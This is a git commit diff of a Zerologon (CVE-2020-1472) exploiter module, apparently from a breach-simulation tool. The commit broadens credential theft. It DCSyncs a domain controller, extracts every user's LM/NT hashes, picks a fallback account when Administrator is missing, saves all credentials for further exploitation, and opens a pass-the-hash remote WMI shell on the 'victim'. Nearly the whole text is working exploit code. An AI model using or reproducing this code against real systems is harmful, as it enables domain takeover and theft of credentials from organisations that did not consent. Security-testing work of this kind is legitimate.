restoring pwd: uses next available user account in case Administrator isn't found
and save all other credentials
This commit is contained in:
parent
c20e677940
commit
e0ae8381ba
|
@ -5,8 +5,9 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
|
import re
|
||||||
from binascii import unhexlify
|
from binascii import unhexlify
|
||||||
from typing import List, Optional
|
from typing import Dict, List, Optional
|
||||||
|
|
||||||
import impacket
|
import impacket
|
||||||
from impacket.dcerpc.v5 import nrpc
|
from impacket.dcerpc.v5 import nrpc
|
||||||
|
@ -64,9 +65,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Restore DC's original password.
|
# Restore DC's original password.
|
||||||
if _exploited:
|
if _exploited:
|
||||||
is_pwd_restored, restored_pwd_hashes = self.restore_password()
|
if self.restore_password():
|
||||||
if is_pwd_restored:
|
|
||||||
self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes)
|
|
||||||
LOG.info("System exploited and password restored successfully.")
|
LOG.info("System exploited and password restored successfully.")
|
||||||
else:
|
else:
|
||||||
LOG.info("System exploited but couldn't restore password!")
|
LOG.info("System exploited but couldn't restore password!")
|
||||||
|
@ -138,22 +137,22 @@ class ZerologonExploiter(HostExploiter):
|
||||||
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
|
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
|
||||||
return _exploited
|
return _exploited
|
||||||
|
|
||||||
def restore_password(self) -> (Optional[bool], List[str]):
|
def restore_password(self) -> bool:
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
admin_pwd_hashes = None
|
|
||||||
rpc_con = None
|
rpc_con = None
|
||||||
|
|
||||||
# DCSync to get Administrator password's hashes.
|
# DCSync to get some username and its password's hashes.
|
||||||
LOG.debug("DCSync; getting Administrator password's hashes.")
|
LOG.debug("DCSync; getting some username and its password's hashes.")
|
||||||
admin_pwd_hashes = self.get_admin_pwd_hashes()
|
user_details = self.get_user_details()
|
||||||
if not admin_pwd_hashes:
|
if not user_details:
|
||||||
raise Exception("Couldn't extract Administrator password's hashes.")
|
raise Exception("Couldn't extract username and/or its password's hashes.")
|
||||||
|
|
||||||
# Use Administrator password's NT hash to get original DC password's hashes.
|
# Use above extracted credentials to get original DC password's hashes.
|
||||||
LOG.debug("Getting original DC password's NT hash.")
|
LOG.debug("Getting original DC password's NT hash.")
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes))
|
username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']]
|
||||||
|
original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes))
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's NT hash.")
|
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||||
|
|
||||||
|
@ -162,7 +161,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
return False, admin_pwd_hashes
|
return False
|
||||||
|
|
||||||
# Start restoration attempts.
|
# Start restoration attempts.
|
||||||
LOG.debug("Attempting password restoration.")
|
LOG.debug("Attempting password restoration.")
|
||||||
|
@ -170,17 +169,17 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if not _restored:
|
if not _restored:
|
||||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||||
|
|
||||||
return _restored, admin_pwd_hashes
|
return _restored
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
return None, admin_pwd_hashes
|
return False
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
if rpc_con:
|
if rpc_con:
|
||||||
rpc_con.disconnect()
|
rpc_con.disconnect()
|
||||||
|
|
||||||
def get_admin_pwd_hashes(self) -> List[str]:
|
def get_user_details(self) -> (str, Dict):
|
||||||
try:
|
try:
|
||||||
options = OptionsForSecretsdump(
|
options = OptionsForSecretsdump(
|
||||||
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
|
@ -192,13 +191,21 @@ class ZerologonExploiter(HostExploiter):
|
||||||
username=f"{self.dc_name}$",
|
username=f"{self.dc_name}$",
|
||||||
options=options)
|
options=options)
|
||||||
|
|
||||||
user = 'Administrator'
|
extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
||||||
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
|
||||||
return hashes # format - [lmhash, nthash]
|
admin = 'Administrator'
|
||||||
|
if admin in extracted_creds:
|
||||||
|
return admin, extracted_creds[admin]
|
||||||
|
else:
|
||||||
|
for user in extracted_creds.keys():
|
||||||
|
if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts
|
||||||
|
return user, extracted_creds[user]
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
def get_dumped_secrets(self,
|
def get_dumped_secrets(self,
|
||||||
remote_name: str = '',
|
remote_name: str = '',
|
||||||
username: str = '',
|
username: str = '',
|
||||||
|
@ -209,17 +216,35 @@ class ZerologonExploiter(HostExploiter):
|
||||||
dumped_secrets = dumper.dump().split('\n')
|
dumped_secrets = dumper.dump().split('\n')
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
@staticmethod
|
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict:
|
||||||
def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]:
|
extracted_creds = {}
|
||||||
for secret in secrets:
|
|
||||||
if user in secret:
|
|
||||||
# format of secret - "domain\uid:rid:lmhash:nthash:::"
|
|
||||||
hashes = secret.split(':')[2:4]
|
|
||||||
return hashes # format - [lmhash, nthash]
|
|
||||||
|
|
||||||
def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None:
|
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
|
||||||
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
|
re_phrase =\
|
||||||
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
|
r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])'
|
||||||
|
|
||||||
|
for line in dumped_secrets:
|
||||||
|
secret = re.fullmatch(pattern=re_phrase, string=line)
|
||||||
|
if secret:
|
||||||
|
parts_of_secret = secret[0].split(':')
|
||||||
|
user = parts_of_secret[0].split('\\')[-1] # we don't want the domain
|
||||||
|
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
||||||
|
|
||||||
|
extracted_creds[user] = {'RID': int(user_RID), # relative identifier
|
||||||
|
'lm_hash': lmhash,
|
||||||
|
'nt_hash': nthash}
|
||||||
|
|
||||||
|
self.store_extracted_creds_for_exploitation(extracted_creds)
|
||||||
|
return extracted_creds
|
||||||
|
|
||||||
|
def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None:
|
||||||
|
for user in extracted_creds.keys():
|
||||||
|
self.add_extracted_creds_to_exploit_info(user,
|
||||||
|
extracted_creds[user]['lm_hash'],
|
||||||
|
extracted_creds[user]['nt_hash'])
|
||||||
|
self.add_extracted_creds_to_monkey_config(user,
|
||||||
|
extracted_creds[user]['lm_hash'],
|
||||||
|
extracted_creds[user]['nt_hash'])
|
||||||
|
|
||||||
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
||||||
self.exploit_info['credentials'].update({
|
self.exploit_info['credentials'].update({
|
||||||
|
@ -242,8 +267,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if nthash not in self._config.exploit_ntlm_hash_list:
|
if nthash not in self._config.exploit_ntlm_hash_list:
|
||||||
self._config.exploit_ntlm_hash_list.append(nthash)
|
self._config.exploit_ntlm_hash_list.append(nthash)
|
||||||
|
|
||||||
def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str:
|
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: str) -> str:
|
||||||
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
||||||
return
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -268,12 +293,12 @@ class ZerologonExploiter(HostExploiter):
|
||||||
finally:
|
finally:
|
||||||
self.remove_locally_saved_HKLM_keys()
|
self.remove_locally_saved_HKLM_keys()
|
||||||
|
|
||||||
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
|
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool:
|
||||||
LOG.debug("Starting remote shell on victim.")
|
LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ")
|
||||||
|
|
||||||
wmiexec = Wmiexec(ip=self.dc_ip,
|
wmiexec = Wmiexec(ip=self.dc_ip,
|
||||||
username='Administrator',
|
username=username,
|
||||||
hashes=admin_pwd_hashes,
|
hashes=user_pwd_hashes,
|
||||||
domain=self.dc_ip)
|
domain=self.dc_ip)
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
|
|
Loading…
Reference in New Issue